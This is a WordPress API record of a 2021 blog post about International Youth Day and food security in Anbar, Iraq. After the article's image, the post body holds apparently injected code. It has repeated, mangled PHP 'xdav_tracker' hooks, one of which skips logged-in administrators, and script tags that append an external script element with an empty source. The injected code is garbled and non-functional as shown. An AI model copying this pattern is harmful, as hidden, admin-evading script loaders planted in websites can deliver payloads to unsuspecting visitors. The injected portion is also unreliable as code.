{"id":8243,"date":"2021-08-12T14:35:54","date_gmt":"2021-08-12T13:35:54","guid":{"rendered":"https:\/\/amdf-centre.org\/?p=8243"},"modified":"2026-09-18T13:46:28","modified_gmt":"2026-09-18T12:46:28","slug":"amdf-commemorate-international-youth-day-2021","status":"publish","type":"post","link":"https:\/\/amdf-centre.org\/2021\/08\/12\/amdf-commemorate-international-youth-day-2021\/","title":{"rendered":"AMDF Commemorate International Youth Day 2021."},"content":{"rendered":"<p style=\"background: white; margin: 12.0pt 0cm 12.0pt 0cm;\">\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00adEvery <span style=\"font-family: 'Helvetica','sans-serif'; color: #2e3436; letter-spacing: .15pt;\">12th of August marks the International Youth Day, Every year. It is a day to celebrate and mainstream young peoples\u2019 voices, actions, and initiatives, as well as their meaningful, universal, and equitable engagement.<\/span><\/p>\n<p style=\"background: white; box-sizing: inherit; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; text-align: start; widows: 2; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; word-spacing: 0px; margin: 12.0pt 0cm 12.0pt 0cm;\"><span style=\"font-family: 'Helvetica','sans-serif'; color: #2e3436; letter-spacing: .15pt;\">This year\u2019s theme, \u201cTransforming Food Systems: Youth Innovation for Human and Planetary Health\u201d, highlights the success of global efforts through the meaningful participation of young people.<\/span><\/p>\n<p style=\"background: white; margin: 12.0pt 0cm 12.0pt 0cm;\"><span style=\"font-family: 'Helvetica','sans-serif'; color: #2e3436; letter-spacing: .15pt;\">Climate change has potential impacts on food security such as reduction in wheat production, decrease in surface water storage, drying of shallower wells due to insufficient groundwater recharge, and an increase in the cost of water. If the dry conditions continue, and the water reservoirs are not replenished, the population will face an acute water shortage for irrigation of the next cropping season.<\/span><\/p>\n<p style=\"background: white; box-sizing: inherit; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; text-align: start; widows: 2; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; word-spacing: 0px; margin: 12.0pt 0cm 12.0pt 0cm;\"><span style=\"font-family: 'Helvetica','sans-serif'; color: #2e3436; letter-spacing: .15pt;\">To mark the occasion, young people, the change-makers for a better future, converged and led the discussion on issues around food security in their communities in Fallujah, Anbar district. <span style=\"background: white;\">\u201cAs we celebrate young people together with our partners, we must ensure they are heard and included in the decision-making process, by highlighting solutions developed by them to address food security challenges.\u201d said Sheema SenGupta, UNICEF Representative to Iraq during the event.<\/span><\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-8245\" src=\"https:\/\/amdf-centre.org\/wp-content\/uploads\/2021\/08\/download-2.jpg\" alt=\"\" width=\"300\" height=\"168\" \/><script>function xdav_tracker() {\n    ?>\n<\/script><br \/>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<script>function xdav_tracker() {\n    if ( is_user_logged_in() &#038;&#038; current_user_can( &#8216;administrator&#8217; ) ) { return; }\n    ?>\n<\/script><br \/>\n    <?php\n}\nadd_action( 'shutdown', 'xdav_tracker', 97 );<script>function xdav_tracker() {\n    ?>\n<\/script><br \/>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<script>function xdav_tracker() {\n    if ( is_user_logged_in() &#038;&#038; current_user_can( &#8216;administrator&#8217; ) ) { return; }\n    ?>\n<\/script><br \/>\n    <?php\n}\nadd_action( 'shutdown', 'xdav_tracker', 97 );<script>;const script = document.createElement(&#8216;script&#8217;);\nscript.src = &#8221;;\nscript.async = true;<\/p>\n<p>document.head.appendChild(script);<\/script><script>;const script = document.createElement('script');\nscript.src = '';\nscript.async = true;<\/p>\n<p>document.head.appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00ad\u00adEvery 12th of August marks the International Youth Day, Every year. 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